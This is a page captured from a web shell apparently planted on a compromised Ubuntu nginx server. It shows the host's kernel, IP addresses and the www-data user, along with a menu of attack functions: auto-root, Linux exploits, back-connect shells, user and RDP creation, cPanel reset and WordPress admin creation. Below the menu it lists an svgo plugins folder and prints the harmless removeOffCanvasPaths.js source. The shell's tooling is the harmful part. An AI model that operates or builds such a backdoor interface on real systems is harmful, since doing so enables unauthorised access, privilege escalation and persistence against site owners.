Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.1
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
amatya /
node_modules /
svgo /
plugins /
[ HOME SHELL ]
Name
Size
Permission
Action
_collections.js
57.03
KB
-rw-r--r--
_path.js
30.91
KB
-rw-r--r--
_transforms.js
9.97
KB
-rw-r--r--
addAttributesToSVGElement.js
2.02
KB
-rw-r--r--
addClassesToSVGElement.js
1.07
KB
-rw-r--r--
cleanupAttrs.js
1.28
KB
-rw-r--r--
cleanupEnableBackground.js
2.25
KB
-rw-r--r--
cleanupIDs.js
6.51
KB
-rw-r--r--
cleanupListOfValues.js
3.52
KB
-rw-r--r--
cleanupNumericValues.js
2.5
KB
-rw-r--r--
collapseGroups.js
2.92
KB
-rw-r--r--
convertColors.js
3.58
KB
-rw-r--r--
convertPathData.js
30.01
KB
-rw-r--r--
convertShapeToPath.js
4.39
KB
-rw-r--r--
convertStyleToAttrs.js
4.1
KB
-rw-r--r--
convertTransform.js
10.62
KB
-rw-r--r--
inlineStyles.js
7.7
KB
-rw-r--r--
mergePaths.js
2.01
KB
-rw-r--r--
minifyStyles.js
3.97
KB
-rw-r--r--
moveElemsAttrsToGroup.js
3.31
KB
-rw-r--r--
moveGroupAttrsToElems.js
1.81
KB
-rw-r--r--
prefixIds.js
5.08
KB
-rw-r--r--
removeAttributesBySelector.js
1.87
KB
-rw-r--r--
removeAttrs.js
4.06
KB
-rw-r--r--
removeComments.js
508
B
-rw-r--r--
removeDesc.js
767
B
-rw-r--r--
removeDimensions.js
708
B
-rw-r--r--
removeDoctype.js
1.01
KB
-rw-r--r--
removeEditorsNSData.js
1.51
KB
-rw-r--r--
removeElementsByAttr.js
1.89
KB
-rw-r--r--
removeEmptyAttrs.js
509
B
-rw-r--r--
removeEmptyContainers.js
690
B
-rw-r--r--
removeEmptyText.js
1.1
KB
-rw-r--r--
removeHiddenElems.js
6.46
KB
-rw-r--r--
removeMetadata.js
392
B
-rw-r--r--
removeNonInheritableGroupAttrs...
945
B
-rw-r--r--
removeOffCanvasPaths.js
3.09
KB
-rw-r--r--
removeRasterImages.js
558
B
-rw-r--r--
removeScriptElement.js
423
B
-rw-r--r--
removeStyleElement.js
426
B
-rw-r--r--
removeTitle.js
411
B
-rw-r--r--
removeUnknownsAndDefaults.js
4.85
KB
-rw-r--r--
removeUnusedNS.js
2.33
KB
-rw-r--r--
removeUselessDefs.js
1.09
KB
-rw-r--r--
removeUselessStrokeAndFill.js
2.65
KB
-rw-r--r--
removeViewBox.js
1.11
KB
-rw-r--r--
removeXMLNS.js
591
B
-rw-r--r--
removeXMLProcInst.js
487
B
-rw-r--r--
reusePaths.js
6.33
KB
-rw-r--r--
sortAttrs.js
1.66
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : removeOffCanvasPaths.js
'use strict'; exports.type = 'perItem'; exports.active = false; exports.description = 'removes elements that are drawn outside of the viewbox (disabled by default)'; var SVGO = require('../lib/svgo.js'), _path = require('./_path.js'), intersects = _path.intersects, path2js = _path.path2js, viewBox, viewBoxJS; /** * Remove elements that are drawn outside of the viewbox. * * @param {Object} item current iteration item * @return {Boolean} if false, item will be filtered out * * @author JoshyPHP */ exports.fn = function(item) { if (item.isElem('path') && item.hasAttr('d') && typeof viewBox !== 'undefined') { // Consider that any item with a transform attribute or a M instruction // within the viewBox is visible if (hasTransform(item) || pathMovesWithinViewBox(item.attr('d').value)) { return true; } var pathJS = path2js(item); if (pathJS.length === 2) { // Use a closed clone of the path if it's too short for intersects() pathJS = JSON.parse(JSON.stringify(pathJS)); pathJS.push({ instruction: 'z' }); } return intersects(viewBoxJS, pathJS); } if (item.isElem('svg')) { parseViewBox(item); } return true; }; /** * Test whether given item or any of its ancestors has a transform attribute. * * @param {String} path * @return {Boolean} */ function hasTransform(item) { return item.hasAttr('transform') || (item.parentNode && hasTransform(item.parentNode)); } /** * Parse the viewBox coordinates and compute the JS representation of its path. * * @param {Object} svg svg element item */ function parseViewBox(svg) { var viewBoxData = ''; if (svg.hasAttr('viewBox')) { // Remove commas and plus signs, normalize and trim whitespace viewBoxData = svg.attr('viewBox').value; } else if (svg.hasAttr('height') && svg.hasAttr('width')) { viewBoxData = '0 0 ' + svg.attr('width').value + ' ' + svg.attr('height').value; } // Remove commas and plus signs, normalize and trim whitespace viewBoxData = viewBoxData.replace(/[,+]|px/g, ' ').replace(/\s+/g, ' ').replace(/^\s*|\s*$/g, ''); // Ensure that the dimensions are 4 values separated by space var m = /^(-?\d*\.?\d+) (-?\d*\.?\d+) (\d*\.?\d+) (\d*\.?\d+)$/.exec(viewBoxData); if (!m) { return; } // Store the viewBox boundaries viewBox = { left: parseFloat(m[1]), top: parseFloat(m[2]), right: parseFloat(m[1]) + parseFloat(m[3]), bottom: parseFloat(m[2]) + parseFloat(m[4]) }; var path = new SVGO().createContentItem({ elem: 'path', prefix: '', local: 'path' }); path.addAttr({ name: 'd', prefix: '', local: 'd', value: 'M' + m[1] + ' ' + m[2] + 'h' + m[3] + 'v' + m[4] + 'H' + m[1] + 'z' }); viewBoxJS = path2js(path); } /** * Test whether given path has a M instruction with coordinates within the viewBox. * * @param {String} path * @return {Boolean} */ function pathMovesWithinViewBox(path) { var regexp = /M\s*(-?\d*\.?\d+)(?!\d)\s*(-?\d*\.?\d+)/g, m; while (null !== (m = regexp.exec(path))) { if (m[1] >= viewBox.left && m[1] <= viewBox.right && m[2] >= viewBox.top && m[2] <= viewBox.bottom) { return true; } } return false; }
Close